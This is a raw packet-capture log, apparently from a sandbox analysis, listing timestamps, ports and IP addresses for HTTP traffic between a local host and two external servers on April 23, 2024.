Apr 23, 2024 09:38:06.911360025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911360979 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911396980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911398888 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911432028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911432981 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911468029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911477089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911488056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911504030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911506891 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911520004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911525965 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911535978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911545038 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911550999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911565065 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911566973 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911585093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911591053 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911601067 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911617994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911619902 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911633968 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911643982 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911650896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911667109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911670923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911683083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911698103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911714077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911727905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911744118 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911761045 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911776066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911777973 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911791086 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911807060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911822081 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911838055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911853075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911868095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911883116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911895990 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911900997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911919117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911919117 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911933899 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911938906 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911952019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911968946 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911982059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911983967 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911999941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912002087 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912014961 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912029982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912036896 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912045956 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912060976 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912062883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912080050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912095070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912096024 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912117958 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912136078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912137032 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912153006 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912169933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912172079 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912185907 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912201881 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912204981 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912220001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912235022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912237883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912252903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912271023 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912272930 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912286997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912303925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912305117 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912319899 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912334919 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912337065 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912352085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912367105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912373066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912383080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912417889 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912420988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912436962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912453890 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912453890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912471056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912484884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912487030 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912501097 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912517071 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912518978 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912533998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912549019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912552118 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912564993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912580967 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912581921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912597895 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912611961 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912616968 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912627935 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912643909 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912647009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912659883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912674904 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912677050 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912689924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912704945 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912707090 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912722111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912739038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912739038 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912755013 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912770033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912774086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912785053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912800074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912800074 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912816048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912831068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912832022 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912849903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912864923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912868023 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912879944 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912895918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912898064 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912913084 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912929058 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912929058 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912944078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912959099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912960052 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.912976980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912992001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.912992001 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913007975 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913023949 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913026094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913041115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913055897 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913058043 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913094044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913109064 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913120031 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913125038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913141966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913146019 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913156986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913173914 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913173914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913192034 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913208008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913208961 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913224936 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913239956 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913239956 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913255930 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913270950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913271904 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913285971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913300991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913300991 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913317919 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913332939 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913333893 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913348913 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913364887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.913364887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.913399935 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.109637022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:07.109689951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:07.147281885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147316933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147332907 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147349119 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147366047 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147367954 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.147381067 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147406101 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.147437096 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.147638083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147656918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147672892 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147690058 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147691965 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.147706985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147727966 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.147748947 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147763968 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147779942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147783041 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.147811890 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.147820950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147838116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147854090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147870064 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147870064 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.147902966 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.147975922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.147993088 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148008108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148025036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148027897 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148041010 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148056984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148062944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148072004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148087978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148091078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148116112 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148119926 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148132086 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148147106 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148163080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148166895 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148178101 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148194075 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148194075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148221016 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148236036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148236990 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148251057 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148267984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148271084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148283005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148298025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148299932 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148313999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148329973 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148330927 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148345947 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148361921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148365021 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148376942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148391962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148396015 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148407936 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148423910 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148437023 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148438931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148454905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148461103 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148471117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148488045 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148488045 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148504019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148518085 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148519993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148535967 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148551941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148555040 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148567915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148583889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148586988 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148598909 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148614883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148618937 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148631096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148647070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148648977 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148663044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148678064 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148679018 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148694038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148710012 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148711920 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148725986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148741007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148746967 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148756981 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148772955 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148775101 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148788929 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148806095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148808002 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148821115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148838043 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148844957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148854971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148869991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148871899 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148885965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148902893 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148906946 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148919106 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148935080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148940086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148950100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148964882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148967028 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.148981094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.148997068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149003029 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149013042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149029970 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149033070 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149044991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149060965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149064064 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149076939 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149091959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149095058 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149107933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149122953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149139881 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149142981 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149156094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149172068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149173021 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149187088 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149190903 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149202108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149219036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149223089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149234056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149249077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149264097 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149280071 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149295092 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149297953 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149311066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.149317026 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.149327993 CEST	80	49734	176.97.76.106	192.168.2.4
